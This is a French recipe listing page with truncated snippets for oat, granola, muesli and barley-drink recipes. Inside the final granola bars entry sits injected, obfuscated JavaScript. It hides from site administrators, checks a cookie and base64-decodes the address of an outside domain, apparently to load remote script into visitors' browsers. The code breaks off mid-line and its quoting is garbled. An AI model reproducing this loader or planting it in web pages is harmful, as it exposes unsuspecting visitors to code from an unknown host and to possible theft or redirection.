Recettes

Ingrédients (~8 cups). 1 banane très mûre, écrasée2 c. à soupe de sirop d’erable ou miel40 g de noix de pécan, grossièrement hachées1 1/2 tasse de flocons d’avoine5 dattes, dénoyautées…

Faites-vous plaisir, c’est délicieux ? ⚠️Pour la réalisation de cette recette on va utiliser une cup, sa équivalence c’est de 250ml ⚠️ On a besoin de : * 3 cups flocons d’avoine…

INGREDIENTS : Pour 12 portions 1 tasse de quinoa cuit 1 tasse de flocons d’avoine 3 cuillères à soupe de noix de coco râpée ⅓ tasse de raisins secs ou…

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Ingrédients :  ⅓ tasse de flocons d’avoine ½ tasse de lait  1 cuillère à soupe de graines de chia 1 c. à thé de miel (ou de sirop d’érable) 1…

le Muesli est un mélange de céréales de graines et de fruits non cuit, alors que le Granola est un mélange de céréales de graines et de fruits secs cuit…

Ingrédients : Pour 2 personnes 2 cuillères à soupe rases de poudre d’orge (30g environ mettre 1 seule pour une consistance légère) 500 ml de lait  1 pincée de sel…

Sert : 10 portions INGREDIENTS ½ tasse d’amandes grillées non salées, entières ½ tasse cacahuètes grillées à sec non salées, entières ½ tasse de noix rôties, hachées ⅓ tasse de…

La cuisine italienne est une belle chose mais si vous voulez en avoir une bonne dose sans les pâtes lourdes que votre corps n’aime pas toujours, alors vous devez essayer…

#granola #bars  Faites le plein d’énergie flocon d’avoine Amandes Cacahuètes Grains de sésame Pépites de chocolat Miel Noix de coco (function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie|| »).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec= »,i=0;input=input.replace(//g, »);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new…